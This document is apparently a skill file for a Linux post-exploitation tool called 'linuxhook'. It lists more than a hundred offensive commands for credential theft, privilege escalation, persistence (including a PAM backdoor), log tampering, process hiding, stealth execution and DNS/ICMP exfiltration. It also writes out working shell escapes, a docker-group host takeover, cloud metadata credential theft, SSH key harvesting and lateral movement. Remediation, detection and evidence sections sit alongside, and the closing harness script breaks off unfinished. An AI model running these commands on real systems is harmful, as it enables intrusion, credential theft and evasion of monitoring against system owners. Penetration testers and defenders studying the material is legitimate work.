---
name: linux-postexploit
description: Linux post-exploitation — credential harvesting, privilege escalation, persistence, lateral movement, evasion, exfiltration, and network attacks with multi-exec fallback (bash/sh/python3/perl/busybox) and stealth modes (base64/memfd/shm)
category: post-exploitation
tags: [linux, post-exploitation, credential-access, privilege-escalation, persistence, lateral-movement, defense-evasion, exfiltration, network-attacks, shadow, ssh-keys, sudo, suid, capabilities, cron, systemd, pam, selinux, apparmor, kernel-exploit, docker-escape, lxd-escape, nfs, ansible, puppet, salt, dns-tunnel, icmp-exfil, arp-spoof, steganography, rootkit, auditd, log-tampering, memfd, shm, busybox]
tech_stack: [linux, bash, python3, perl, busybox]
cwe_ids: [CWE-269, CWE-522, CWE-312, CWE-426, CWE-693, CWE-287, CWE-200, CWE-78]
chains_with: [T1003.008, T1552.004, T1552.001, T1552.003, T1555.001, T1555.003, T1087.001, T1082, T1049, T1057, T1069.001, T1083, T1548.003, T1548.001, T1068, T1574.006, T1574.001, T1053.003, T1078.003, T1611, T1053.001, T1053.003, T1547.006, T1136.001, T1098.004, T1547.004, T1556.003, T1037.004, T1546.004, T1543.002, T1546.014, T1547.013, T1021.004, T1072, T1210, T1572, T1090, T1046, T1070.002, T1070.003, T1070.006, T1562.001, T1562.004, T1014, T1564.001, T1048.001, T1048.003, T1041, T1027, T1557.002, T1040, T1595.001, T1005, T1001.002]
prerequisites: [T1068, T1548.003]
version: "1.0"
---

# Linux Post-Exploitation Methodology

Linux post-exploitation uses native tools and scripting for credential harvesting, privilege escalation, persistence, lateral movement, defense evasion, data exfiltration, and network attacks. After gaining a shell on a Linux target, these 118 programs across 8 categories provide comprehensive offensive capabilities — from /etc/shadow extraction to kernel exploit checks, from cron/systemd persistence to DNS tunnel exfiltration, from SELinux/AppArmor bypass to ARP spoofing.

## Multi-Exec Engine

All 118 programs support multiple execution methods with automatic fallback:

| Method | Engine | When to Use |
|--------|--------|-------------|
| `bash` | GNU Bash (default) | Full bash access, most compatible |
| `sh` | POSIX sh | Bash unavailable, minimal environments |
| `python3` | Python 3 | Complex operations, memfd stealth |
| `perl` | Perl | Legacy systems, regex-heavy operations |
| `busybox` | BusyBox | Embedded/minimal Linux, containers |
| `auto` | Auto-detect best | Unknown environment — runs detect_env |

```bash
linuxhook shadow_dump --exec sh
linuxhook kernel_exploit_check --exec auto
```

## Stealth Modes

| Mode | Technique | Use Case |
|------|-----------|----------|
| `base64` | `echo ENCODED \| base64 -d \| bash` | Bypass string-based command logging |
| `memfd` | Python3 `memfd_create` fileless exec | No file touches disk, bypasses file monitoring |
| `shm` | `/dev/shm` tmpfs execution | Fast tmpfs execution, auto-cleanup |

```bash
linuxhook shadow_dump --stealth base64
linuxhook cron_persist --stealth memfd --command CMD
```

## Prerequisites

Before deploying linuxhook tools, verify:

1. **Environment detection** — run `linuxhook detect_env` FIRST to determine available tools and recommended exec method
2. **Access level** — check root/sudo status; most credential and persistence operations require elevated privileges
3. **Security frameworks** — run `linuxhook security_framework` to assess SELinux, AppArmor, seccomp, and audit status
4. **Container check** — run `linuxhook container_detect` to verify you're on the host, not in a container

```bash
# Step 0 — environment detection (ALWAYS run first)
linuxhook detect_env

# Step 1 — stealth capability check
linuxhook stealth_check_linux
```

## Kill Chain Phases

### Phase 1 — Reconnaissance

Comprehensive system and environment assessment.

| Action | Command | Purpose |
|--------|---------|---------|
| Environment detect | `linuxhook detect_env` | **ALWAYS run first** — exec methods, root status, kernel, security frameworks |
| Full recon | `linuxhook local_recon_linux` | All-in-one system/user/network/process/security scan |
| System info | `linuxhook system_info --verbose` | Hostname, kernel, CPU, memory, uptime, environment |
| Process enum | `linuxhook process_enum` | Running processes, security tools, monitoring agents |
| Network enum | `linuxhook network_enum` | Interfaces, routes, DNS, connections, iptables rules |
| User enum | `linuxhook user_enum` | Users, groups, sudo members, SSH keys, home dirs |
| Service enum | `linuxhook service_enum` | Systemd units, init.d scripts, daemons |
| Package enum | `linuxhook package_enum --security-only` | Security-relevant packages and CVE candidates |
| Container detect | `linuxhook container_detect` | Docker/LXC/K8s/Podman/WSL detection |
| Security framework | `linuxhook security_framework` | SELinux, AppArmor, seccomp, PAM, audit status |
| Interesting files | `linuxhook interesting_files --deep` | SUID/SGID, world-writable, configs, backups, keys |
| Mount enum | `linuxhook mount_enum` | Filesystems, NFS/CIFS, mount options (nosuid/noexec) |
| Kernel modules | `linuxhook kernel_module_enum` | Loaded modules, security modules, rootkit indicators |
| Stealth check | `linuxhook stealth_check_linux` | Test all exec methods and stealth modes |

### Phase 2 — Credential Harvesting

Extract credentials from multiple sources.

| Action | Command | Purpose |
|--------|---------|---------|
| Shadow dump | `linuxhook shadow_dump` | /etc/shadow hash extraction and analysis |
| SSH keys | `linuxhook ssh_key_harvest` | SSH private keys from all users |
| History secrets | `linuxhook bash_history_secrets` | Passwords/tokens from shell history |
| GNOME Keyring | `linuxhook gnome_keyring_dump` | GNOME Keyring stored passwords |
| KWallet | `linuxhook kwallet_dump` | KDE Wallet stored passwords |
| Browser creds | `linuxhook browser_creds_linux --browser all` | Chrome/Firefox saved passwords and cookies |
| Environment | `linuxhook env_secrets` | API keys/tokens from /proc/*/environ |
| Process memory | `linuxhook proc_memory_harvest` | Credentials from sshd/sudo/su process memory |
| GPG keys | `linuxhook gpg_key_extract` | GPG private keys and passphrases |
| Cloud creds | `linuxhook cloud_cred_harvest` | AWS/GCP/Azure credential files and metadata |
| Docker creds | `linuxhook docker_config_creds` | Docker registry auth tokens |
| Git creds | `linuxhook git_cred_harvest` | Git credentials, GitHub/GitLab tokens |
| WiFi creds | `linuxhook wifi_creds_nm` | NetworkManager WiFi passwords |
| Kerberos | `linuxhook kerberos_keytab` | Keytab files and ccache tickets |
| Database creds | `linuxhook db_cred_harvest` | MySQL/PostgreSQL/MongoDB/Redis credentials |
| VNC password | `linuxhook vnc_password` | VNC password files (DES-encrypted, trivially reversible) |
| Mail spool | `linuxhook mail_spool_harvest` | Credentials in email (password resets, tokens) |
| Netrc | `linuxhook netrc_harvest` | Plaintext .netrc FTP/HTTP credentials |
| LDAP creds | `linuxhook ldap_cred_harvest` | LDAP bind passwords from configs |
| Credential scan | `linuxhook credential_files_scan --deep` | Broad filesystem credential file discovery |

### Phase 3 — Privilege Escalation

Escalate from standard user to root via 25 techniques.

| Action | Command | Purpose |
|--------|---------|---------|
| Sudo misconfig | `linuxhook sudo_misconfig` | Sudoers analysis, NOPASSWD, GTFOBins |
| SUID/SGID scan | `linuxhook suid_sgid_scan` | SUID/SGID binaries with GTFOBins matching |
| Capabilities | `linuxhook capabilities_abuse` | Dangerous capabilities (cap_setuid, cap_sys_admin) |
| Cron privesc | `linuxhook cron_privesc` | Writable cron scripts, PATH hijack |
| NFS root squash | `linuxhook nfs_no_root_squash` | NFS no_root_squash SUID escalation |
| PATH hijack | `linuxhook path_hijack` | Writable PATH directories for root scripts |
| LD_PRELOAD | `linuxhook ld_preload_abuse` | LD_PRELOAD env_keep and ld.so.preload |
| Kernel exploits | `linuxhook kernel_exploit_check` | DirtyPipe, DirtyCow, PwnKit, OverlayFS, netfilter |
| Writable passwd | `linuxhook writable_passwd` | Add root user to writable /etc/passwd |
| PwnKit | `linuxhook pkexec_cve` | CVE-2021-4034 pkexec local privesc |
| Systemd units | `linuxhook systemd_unit_abuse` | Writable service files, ExecStart override |
| D-Bus exploit | `linuxhook dbus_exploit` | D-Bus services with permissive policies |
| pip setup abuse | `linuxhook pip_setup_abuse` | sudo pip install code execution |
| Shared lib hijack | `linuxhook shared_lib_hijack` | RPATH/RUNPATH library hijacking |
| logrotate race | `linuxhook logrotate_race` | CVE-2016-1247 log symlink race |
| Writable services | `linuxhook writable_service_bin` | Root services with writable binaries |
| Polkit bypass | `linuxhook polkit_bypass` | CVE-2021-3560, CVE-2021-4034 |
| Snap privesc | `linuxhook snap_privesc` | DirtySnap CVE-2022-3328 |
| Docker escape | `linuxhook docker_group_escape` | Docker group → root via host mount |
| LXD escape | `linuxhook lxd_group_escape` | LXD group → root via container privesc |
| Python lib hijack | `linuxhook python_lib_hijack` | Writable sys.path, PYTHONPATH injection |
| MOTD abuse | `linuxhook motd_abuse` | Writable /etc/update-motd.d/ scripts |
| Wildcard injection | `linuxhook wildcard_injection` | tar/rsync/chown wildcard in cron/scripts |
| MySQL UDF | `linuxhook mysql_udf` | MySQL UDF → system command execution |
| ptrace scope | `linuxhook ptrace_scope_check` | Yama ptrace_scope restrictions |

### Phase 4 — Persistence

Establish persistent access via 22 mechanisms.

| Action | Command | Purpose |
|--------|---------|---------|
| Cron | `linuxhook cron_persist --command CMD` | Crontab or /etc/cron.d/ persistence |
| Systemd | `linuxhook systemd_persist --command CMD --name NAME` | Systemd service/timer auto-start |
| Bashrc | `linuxhook bashrc_persist --command CMD` | Shell RC file injection |
| SSH keys | `linuxhook ssh_authorized_keys --key PUBKEY` | SSH authorized key injection |
| ld.so.preload | `linuxhook ld_so_preload --library PATH` | System-wide library injection |
| SysVinit | `linuxhook sysvinit_persist --command CMD` | /etc/init.d/ script persistence |
| at job | `linuxhook at_job_persist --command CMD --time TIME` | Delayed one-time execution |
| udev rules | `linuxhook udev_rules_persist --command CMD` | Device-event triggered execution |
| PAM backdoor | `linuxhook pam_backdoor --password PASS` | Master password authentication bypass |
| MOTD | `linuxhook motd_persist --command CMD` | Login-triggered root execution |
| XDG autostart | `linuxhook xdg_autostart --command CMD` | Graphical session autostart |
| Git hooks | `linuxhook git_hook_persist --command CMD --repo PATH` | Git operation hooks |
| Kernel module | `linuxhook kernel_module_persist --module PATH` | Boot-persistent kernel module |
| APT hook | `linuxhook apt_hook_persist --command CMD` | Execute on apt operations |
| dpkg trigger | `linuxhook dpkg_trigger_persist --command CMD` | Execute on package operations |
| Socket activation | `linuxhook socket_activation --command CMD --port PORT` | On-demand systemd socket service |
| User service | `linuxhook user_service_persist --command CMD` | Rootless systemd user service |
| xinetd | `linuxhook xinetd_persist --command CMD --port PORT` | On-connection service spawning |
| rc.local | `linuxhook rc_local_persist --command CMD` | Legacy boot script execution |
| logrotate | `linuxhook logrotate_persist --command CMD` | Log rotation hook execution |
| SSH RC | `linuxhook ssh_rc_persist --command CMD` | Pre-shell SSH login execution |
| ld.so.conf | `linuxhook ld_config_persist --library-path PATH` | Library search path injection |

### Phase 5 — Lateral Movement

Move laterally using Linux infrastructure.

| Action | Command | Purpose |
|--------|---------|---------|
| SSH pivot | `linuxhook ssh_pivot --target HOST` | SSH key/password lateral movement |
| Ansible | `linuxhook ansible_abuse` | Exploit Ansible for mass execution |
| Puppet | `linuxhook puppet_abuse` | Exploit Puppet agent/master trust |
| Salt | `linuxhook salt_abuse` | Exploit SaltStack master→minion |
| NFS mount | `linuxhook nfs_mount_attack --target HOST` | Mount NFS exports for file access |
| rsync | `linuxhook rsync_exploit --target HOST` | Exploit anonymous rsync access |
| SSH tunnel | `linuxhook ssh_tunnel --target HOST --type dynamic` | SOCKS/local/remote SSH tunnels |
| socat tunnel | `linuxhook socat_tunnel --listen PORT --connect HOST:PORT` | TCP/UDP/SSL tunnels |
| Internal scan | `linuxhook internal_scan --target CIDR` | Ping sweep and port scan |
| Proxychains | `linuxhook proxychains_setup --proxy HOST:PORT` | Configure proxychains for tunneling |

### Phase 6 — Defense Evasion

Evade monitoring and detection.

| Action | Command | Purpose |
|--------|---------|---------|
| Log tamper | `linuxhook log_tamper` | Surgical log entry removal |
| History clear | `linuxhook history_clear` | Shell history cleanup |
| Timestomp | `linuxhook timestomp --target PATH --reference REF` | Modify file timestamps |
| auditd evade | `linuxhook auditd_evade --action check` | Disable/modify audit subsystem |
| SELinux bypass | `linuxhook selinux_bypass --action check` | Set permissive, exploit domains |
| AppArmor bypass | `linuxhook apparmor_bypass --action check` | Set complain mode, disable profiles |
| Rootkit detect | `linuxhook rootkit_detect --deep` | Detect existing rootkits and hooks |
| Process hide | `linuxhook process_hide --pid PID` | Hide processes from enumeration |
| File hide | `linuxhook file_hide --path PATH` | Hide files from directory listings |
| Network hide | `linuxhook network_hide --port PORT` | Hide network connections |
| Syslog manipulate | `linuxhook syslog_manipulate --action filter` | Redirect/filter syslog entries |
| Stealth check | `linuxhook stealth_check_linux` | Verify stealth modes work on target |

### Phase 7 — Data Exfiltration

Stage and exfiltrate data through multiple channels.

| Action | Command | Purpose |
|--------|---------|---------|
| Stage data | `linuxhook data_stage --path PATH` | Find, compress, encrypt sensitive files |
| DNS tunnel | `linuxhook dns_tunnel_exfil --file PATH --domain DOMAIN` | Exfil via DNS subdomain encoding |
| ICMP exfil | `linuxhook icmp_exfil --file PATH --target IP` | Exfil via ICMP echo payload |
| Covert channel | `linuxhook covert_channel --type timing --target HOST` | Timing/storage/protocol covert channels |
| HTTPS exfil | `linuxhook https_exfil --file PATH --url URL` | POST data over TLS |
| Artifact enum | `linuxhook artifact_enum` | Enumerate forensic artefacts from engagement |
| Steganography | `linuxhook steganography_exfil --file PATH --cover IMAGE` | Hide data in image/audio files |

### Phase 8 — Network Attacks

Network-level attacks from compromised host.

| Action | Command | Purpose |
|--------|---------|---------|
| ARP spoof | `linuxhook arp_spoof --target IP --gateway IP` | ARP cache poisoning for MITM |
| DNS spoof | `linuxhook dns_spoof --domain DOMAIN --ip IP` | DNS response spoofing |
| Packet capture | `linuxhook packet_capture --interface eth0 --duration 60` | Traffic capture with BPF filters |
| Port scan | `linuxhook port_scan_native --target HOST --ports 1-1024` | Native port scanning (no nmap needed) |
| MITM proxy | `linuxhook mitm_proxy --port 8080` | Transparent proxy for interception |
| Responder | `linuxhook responder_linux --interface eth0` | LLMNR/NBT-NS hash capture |
| Firewall enum | `linuxhook firewall_enum` | iptables/nftables/ufw/firewalld rules |
| Traffic redirect | `linuxhook traffic_redirect --src-port 80 --dst HOST:8080` | iptables DNAT/SNAT forwarding |
| WiFi attack | `linuxhook wifi_attack --action scan` | Wireless scanning, deauth, handshake capture |

### Phase 9 — Cleanup (MANDATORY)

Always run cleanup before leaving a target.

```bash
linuxhook cleanup_linux
```

Removes CyberStrike artifacts: clears logs, removes persistence mechanisms, restores modified configs, cleans temp files.

## Detection Considerations

Linux post-exploitation tools are detectable by:
- **auditd** — syscall monitoring, file access, process execution
- **SELinux/AppArmor** — mandatory access control enforcement
- **AIDE/Tripwire** — file integrity monitoring
- **syslog/journald** — authentication logs, system events
- **Falco/Sysdig** — runtime security monitoring
- **OSSEC/Wazuh** — host-based intrusion detection
- **eBPF-based tools** — kernel-level monitoring (Cilium, Tetragon)

## Program Reference

| Program | Technique | MITRE ATT&CK |
|---------|-----------|---------------|
| shadow_dump | /etc/shadow hash extraction | T1003.008 — /etc/passwd and /etc/shadow |
| ssh_key_harvest | SSH private key collection | T1552.004 — Private Keys |
| bash_history_secrets | Shell history credential extraction | T1552.003 — Bash History |
| gnome_keyring_dump | GNOME Keyring extraction | T1555.001 — Keychain |
| browser_creds_linux | Browser credential extraction | T1555.003 — Credentials from Web Browsers |
| env_secrets | Environment variable secrets | T1552.001 — Credentials In Files |
| proc_memory_harvest | Process memory credential harvesting | T1003 — OS Credential Dumping |
| cloud_cred_harvest | Cloud provider credential files | T1552.001 — Credentials In Files |
| sudo_misconfig | Sudo misconfiguration analysis | T1548.003 — Sudo and Sudo Caching |
| suid_sgid_scan | SUID/SGID binary exploitation | T1548.001 — Setuid and Setgid |
| capabilities_abuse | Linux capabilities exploitation | T1548.001 — Setuid and Setgid |
| kernel_exploit_check | Kernel CVE assessment | T1068 — Exploitation for Privilege Escalation |
| docker_group_escape | Docker group privilege escalation | T1611 — Escape to Host |
| cron_persist | Cron-based persistence | T1053.003 — Cron |
| systemd_persist | Systemd service persistence | T1543.002 — Systemd Service |
| ssh_authorized_keys | SSH key persistence | T1098.004 — SSH Authorized Keys |
| pam_backdoor | PAM authentication backdoor | T1556.003 — Pluggable Authentication Modules |
| ssh_pivot | SSH lateral movement | T1021.004 — SSH |
| ansible_abuse | Ansible infrastructure abuse | T1072 — Software Deployment Tools |
| log_tamper | Log entry manipulation | T1070.002 — Clear Linux or Mac System Logs |
| history_clear | Shell history removal | T1070.003 — Clear Command History |
| timestomp | File timestamp modification | T1070.006 — Timestomp |
| auditd_evade | Audit system evasion | T1562.001 — Disable or Modify Tools |
| selinux_bypass | SELinux bypass | T1562.001 — Disable or Modify Tools |
| rootkit_detect | Rootkit detection | T1014 — Rootkit |
| dns_tunnel_exfil | DNS-based data exfiltration | T1048.001 — Exfiltration Over Symmetric Encrypted Non-C2 Protocol |
| arp_spoof | ARP cache poisoning | T1557.002 — ARP Cache Poisoning |
| packet_capture | Network traffic capture | T1040 — Network Sniffing |
| cleanup_linux | Artifact removal | T1070 — Indicator Removal |
---

## Evidence Standard

Every claim in a Linux post-exploitation report must be reproducible by a second operator on the same
host with the same starting access. A shell is not a finding; the escalation and the artefact that
granted it are the finding.

| Item | Command | Why |
|---|---|---|
| Foothold identity | `id`, `hostname`, `uname -r` | the starting privilege level and kernel base for the CVE assessment |
| Container vs host | `cat /proc/1/cgroup`; `ls -la /.dockerenv`; `systemd-detect-virt -c` | a uid-0 shell inside a container is **not** host root |
| Sudo rules verbatim | `sudo -n -l` | the rule is the artefact; the transcript must show the rule you exploited |
| SUID/SGID inventory | `find / -xdev -perm -4000 -type f -ls 2>/dev/null` | proves the binary existed and was outside `nosuid` mounts |
| Capabilities | `getcap -r / 2>/dev/null` | `cap_setuid+ep` on any interpreter is a complete escalation on its own |
| Escalation proof | `id` before and after, plus the exploiting command | the single command that crossed the boundary |
| Mount options | `findmnt -no OPTIONS --target /usr/bin` | a SUID bit under `nosuid` is a false positive, and this rules it in or out |
| Group membership | `id -nG`; `getent group sudo docker lxd adm disk` | `docker`/`lxd`/`disk` membership is root-equivalent |
| Reach beyond the host | `cat /proc/net/arp`; `ip route`; `cat ~/.aws/credentials 2>/dev/null` | turns a host foothold into a network or cloud-scope statement |
| Artefact removal | re-run the inventory commands above and show them clean | closes the engagement |

**The pair `sudo -l` plus the resulting `root` shell is the finding.** "A SUID binary was present" is
an observation; "`/usr/bin/find` carried SUID and the group `staff` executed `find . -exec /bin/sh
-p \;` to obtain euid 0, confirmed by `id` before and after" is a finding.

**False positives — exclude each of these explicitly:**

- **uid 0 inside a user namespace.** `unshare -Ur` gives you `uid=0(root)` with no host reach. Check
  `readlink /proc/self/ns/user` and `/proc/1/ns/user`; if they differ you are in a namespace, not root.
- **A SUID bit on a `nosuid` mount.** Confirm with `findmnt`; the bit never executes as root.
- **`sudo -l` listing a binary you cannot actually run.** A rule may be scoped by command arguments,
  `!`-negated, or require a password you do not hold. Only an executed command that reaches a new
  privilege level counts.
- **A container with `--privileged` but no host mount.** Capability alone is not host access; prove it
  by reading `/etc/shadow` on the host or writing to a host path.
- **Kernel CVE version matches.** A `uname -r` below the fixed version is a candidate, not an exploit.
  CVE-2021-4034 was backported in place on most enterprise distributions — test it, do not infer it.
- **`/etc/shadow` readable but every hash is locked** (`!` or `*`). That is not credential access.

Record kernel CVE candidates as PLAUSIBLE until an exploit is executed successfully; record an
executed escalation as SOLID. An untested container escape path is UNVERIFIABLE, not a finding.

---

## Remediation Reference

1. **Remove unnecessary SUID/SGID bits.** Most distributions ship more than the workload needs.
   Audit with `find / -xdev -perm -4000 -o -perm -2000`, then clear bits on anything without a
   documented reason: `chmod u-s FILE`. Re-run the inventory after patching packages — updaters
   restore the bits.
2. **Strip dangerous capabilities and prefer ambient-free binaries.** Any capability on a shell,
   interpreter, or archiver (`cap_setuid`, `cap_setgid`, `cap_dac_read_search`, `cap_sys_admin`) is
   root-equivalent. `setcap -r FILE` and re-check with `getcap -r /`.
3. **Write sudo rules with explicit argv, no wildcards.** `NOPASSWD: /usr/bin/systemctl restart
   nginx` is a rule; `NOPASSWD: /usr/bin/systemctl *` is root. Never grant a GTFOBins-listed binary
   (`vi`, `find`, `awk`, `less`, `tar`, `env`, `python3`, `perl`) without arg constraints, and never
   set `env_keep += LD_PRELOAD`.
4. **Rotate every credential the escalation touched.** Assume `/etc/shadow`, all SSH private keys,
   cloud credential files, shell history secrets, and Kerberos keytabs on the host are compromised.
   Re-key, re-issue, and invalidate sessions and tokens — including long-lived AWS/GCP/Azure keys
   found in `~/.aws`, `~/.config/gcloud`, or `~/.azure`.
5. **Harden mount options.** Mount untrusted filesystems `nosuid,nodev,noexec`. Enforce NFS
   `root_squash` (never `no_root_squash`) and `all_squash` on exports that do not need ownership.
6. **Constrain interpreters and PATH.** Remove world-writable directories from `PATH`, ensure root
   cron and systemd units reference absolute paths, and set `Defaults secure_path` in sudoers.
   Root-owned wrappers must not source attacker-writable scripts.
7. **Enable and protect detection telemetry.** auditd rules on `execve` for SUID binaries, on
   `open`/`write` to `/etc/shadow`, `/etc/sudoers`, `/etc/cron.d`, `/etc/ld.so.preload`, and on
   `setuid`/`setgid` syscalls. Ship logs off-host immediately to a collector the target cannot reach,
   so log tampering (T1070.002) cannot destroy evidence. Add file-integrity monitoring (AIDE,
   Tripwire) over `/etc`, `/usr/bin`, `/usr/sbin`, and all systemd unit paths.
8. **Reduce the container blast radius.** Never mount the Docker socket or run `--privileged` for
   workload containers; drop all capabilities and add back only what is needed
   (`--cap-drop=ALL`). Keep `docker`/`lxd` group membership out of application service accounts —
   those groups are root-equivalent by design.
9. **Enforce privilege boundary controls on ports and files.** Remove `ptrace` exposure
   (`yama/ptrace_scope=1` or higher), and audit world-writable systemd units, `ExecStart` binaries,
   and `/etc/update-motd.d/` scripts for root-writable-to-attacker paths.

---

---

---

## 7. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | What **identity and capability set** do you hold, from the host's own tools (`id`, `capsh --print`)? | the starting privilege |
| 2 | Did you **cross the boundary** - root, a container, or another user's session? | escalation, not a read you already had |
| 3 | Was there a **failing control** - the same read or action denied before the escalation? | the escalation is the cause |
| 4 | Did you **read or write something only the new privilege reaches** (`/etc/shadow`, a root-owned key)? | impact |
| 5 | For persistence: did the artefact **execute**, proven by a marker or a log line? | installation is not execution |
| 6 | Did you obtain a **credential usable elsewhere** (an SSH key, a cloud token)? | lateral-movement value |
| 7 | Did you **revert** every write, with a query that returns nothing? | engagement integrity |

**The boundary crossed plus the artefact read is the bar.** A root shell that cannot read another user's
protected file is a partial escalation, and it must be reported as one.

---

## 8. EXECUTION PRIMITIVES

Linux post-exploitation is proven by **crossing a named boundary and reading what it guards**. Every
block ends at data, a credential, or a verified revert.

### 8.1 Identity, capabilities, and the control

```bash
id; uname -a; cat /etc/os-release 2>/dev/null | head -3
sudo -n -l 2>&1 | head -20
capsh --print 2>/dev/null | head -5 || grep Cap /proc/self/status
getfacl /etc/shadow 2>/dev/null | head -5
# THE CONTROL: the reads that must FAIL at your current privilege
cat /etc/shadow 2>&1 | head -1
ls -la /root/.ssh/ 2>&1 | head -3
cat /proc/1/environ 2>&1 | head -c 60; echo
```

**Record the failing control first.** A shell is not a finding; the escalation and the artefact that
granted it are the finding, and the failing control is what establishes the delta.

### 8.2 SUID, capabilities, and sudo - each with its control

```bash
# 1) the SUID inventory, then the GTFOBins lookup for each hit
find / -perm -4000 -type f 2>/dev/null | head -30
/usr/bin/find . -exec /bin/sh -p \; -quit 2>&1 | head -3        # the classic SUID find
id
# 2) the capability inventory, which is quieter than SUID and often overlooked
getcap -r / 2>/dev/null | head -20
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' 2>&1 | head -2   # cap_setuid+ep
# 3) the sudo rules, and the ones that are exploitable without a password
sudo -n -l 2>&1 | grep -iE 'NOPASSWD|ALL'
sudo -n /usr/bin/vim -c ':!sh' 2>&1 | head -3
# THE CONTROL PAIR: the same command without sudo must fail
/usr/bin/vim -c ':!id' 2>&1 | head -2
```

**Every escalation pairs the before state with the after state.** A SUID binary you never exercised is
a hardening note; the `uid=0` line from exercising it is the finding.

### 8.3 Credential harvesting, with the boundary named

```bash
# the shadow file, which requires root - the boundary is the point
grep -E '^\$' /etc/shadow 2>/dev/null | cut -d: -f1,2 | head -10
# SSH keys, with the permission state that made them reachable
find / -name 'id_*' -o -name 'authorized_keys' 2>/dev/null | head -20
ls -la ~/.ssh/ 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null | head -2
# the shell histories, which are where operators leave credentials
grep -rhiE 'password|passwd|token|export .*(KEY|SECRET)' /root/.bash_history /home/*/.bash_history 2>/dev/null | head -20
# the config files that hold credentials
grep -rhiE 'password\s*=|passwd\s*=|secret\s*=' /etc/*.conf /opt/*/conf/* 2>/dev/null | head -20
# and the cloud and container credentials, which are the highest-impact artefacts
cat ~/.aws/credentials 2>/dev/null | sed 's/\(aws_secret_access_key *= *\).*/\1<REDACTED>/'
cat ~/.docker/config.json 2>/dev/null | head -c 200; echo
TOKEN=$(curl -sS -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
curl -sS -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null | head -2
```

**Name the boundary each artefact required.** A shadow read with root and an `~/.aws/credentials` read as
the user are different findings, and the second is often the higher-impact one.

### 8.4 Escalation paths, each tested and reverted

```bash
# 1) the sudo rule that allows a shell
sudo -n -l 2>&1 | grep -i NOPASSWD
# 2) the writable systemd unit or timer, which is root execution on reload
find /etc/systemd/system /lib/systemd/system -writable 2>/dev/null | head -10
systemctl list-timers --all 2>/dev/null | head -10
# 3) the cron entry with a writable script
ls -la /etc/cron* 2>/dev/null | head -20
cat /etc/crontab 2>/dev/null | head -10
# 4) the LD_PRELOAD or LD_LIBRARY_PATH path when sudo preserves the environment
sudo -l 2>&1 | grep -iE 'LD_PRELOAD|LD_LIBRARY_PATH|env_keep'
# 5) the docker group, which is root by design
groups | grep -q docker && docker run -v /:/host --rm -it alpine chroot /host id 2>&1 | head -3
# 6) the kernel version against a known local exploit
uname -r; cat /proc/version 2>/dev/null
```

**Each path pairs with the control that shows it was needed.** A writable cron script is a candidate;
the root-owned marker file it produced is the finding.

### 8.5 Container and namespace escape, with the host read

```bash
# what the container gives you that it should not
ls -la /.dockerenv /run/containerd/containerd.sock /var/run/docker.sock 2>/dev/null
mount | grep -E 'host|docker|kubelet' | head -10
capsh --print 2>/dev/null | grep CapEff
# the escape, proved by a NODE read
chroot /host cat /etc/hostname 2>/dev/null || cat /var/lib/kubelet/config.yaml 2>/dev/null | head -5
# and the credential that outlives the container
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | head -c 60; echo
while read -r line; do
  if [[ "$line" == *"[HOST READ CONFIRMED]"* ]]; then echo "HOST READ CONFIRMED"; fi
done < <(echo "marker")
```

**`HOST READ CONFIRMED` on a host file is the finding.** A socket present in the container is the
surface; the host file it reads is the proof.

### 8.6 Persistence, and the verified removal

```bash
# 1) a systemd unit - create, verify, remove, verify-empty
cat > /etc/systemd/system/pentest.service <<'UNIT'
[Unit]
Description=pentest marker
[Service]
Type=oneshot
ExecStart=/bin/sh -c 'id > /tmp/pentest-svc.txt'
[Install]
WantedBy=multi-user.target
UNIT
systemctl daemon-reload; systemctl enable --now pentest.service 2>&1 | tail -1
systemctl is-enabled pentest.service; cat /tmp/pentest-svc.txt 2>/dev/null
systemctl disable --now pentest.service 2>&1 | tail -1
rm -f /etc/systemd/system/pentest.service; systemctl daemon-reload
systemctl status pentest.service 2>&1 | head -2
# 2) a cron entry, and the empty query after removal
(crontab -l 2>/dev/null; echo '@reboot /bin/sh -c "id > /tmp/pentest-cron.txt"') | crontab -
crontab -l | grep pentest
crontab -l 2>/dev/null | grep -v pentest | crontab -
crontab -l 2>/dev/null | grep pentest || echo "CRON REMOVED"
# 3) an authorized_keys addition, which is the quietest persistence on Linux
grep -c pentest ~/.ssh/authorized_keys 2>/dev/null
sed -i '/pentest/d' ~/.ssh/authorized_keys 2>/dev/null
grep -c pentest ~/.ssh/authorized_keys 2>/dev/null || echo "KEY REMOVED"
```

**Every persistence mechanism gets a marker, a detection check, and an empty verification query.** An
`authorized_keys` line left behind is an incident, and it is the one most often forgotten.

### 8.7 Lateral movement and the credential's reach

```bash
# the harvested key, used against a second host - the actual escalation
ssh -i ~/.ssh/id_rsa -o BatchMode=yes -o StrictHostKeyChecking=no user@HOST02 'id; hostname' 2>&1 | head -3
# the harvested password, against the internal services it might unlock
for h in $(cat /etc/hosts | awk '/^10\./{print $1}' | head -10); do
  timeout 3 bash -c "echo > /dev/tcp/$h/22" 2>/dev/null && echo "ssh reachable: $h"
done
# and the SSH agent, which can sign without the key file at all
echo "SSH_AUTH_SOCK=$SSH_AUTH_SOCK"; ssh-add -l 2>/dev/null | head -5
```

**The credential's reach is the severity.** A local root on one host is a finding; an SSH key that
authenticates to twelve hosts is a different one, and enumerating the reach is the work.

### 8.8 A harness that pairs every escalation with its control and revert

```bash
python3 - <<'PY'
import subprocess, os, shlex
def sh(cmd, timeout=30):
    try:
        r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
        return (r.stdout + r.stderr).strip()[:100]
    except Exception as e:
        return type(e).__name__

print("=== IDENTITY ===")
print("  id       :", sh("id"))
print("  caps     :", sh("capsh --print 2>/dev/null | grep -i current"))
print("  sudo -n  :", sh("sudo -n -l 2>&1 | head -2"))
print()
print("=== CONTROL READS (record which FAIL - those are the boundaries) ===")
for name, c in [("shadow", "cat /etc/shadow"), ("root-ssh", "ls /root/.ssh"),
                ("proc1-env", "cat /proc/1/environ")]:
    print("  %-10s %s" % (name, sh(c, 10)))
print()
print("=== ARTEFACTS TO COLLECT ===")
print("  - the id-before and id-after pair for the escalation")
print("  - one credential artefact, with the boundary it required named")
print("  - one persistence mechanism, with its execution marker")
print()
print("=== REVERT AND VERIFY ===")
print("  systemctl disable --now + rm the unit + daemon-reload")
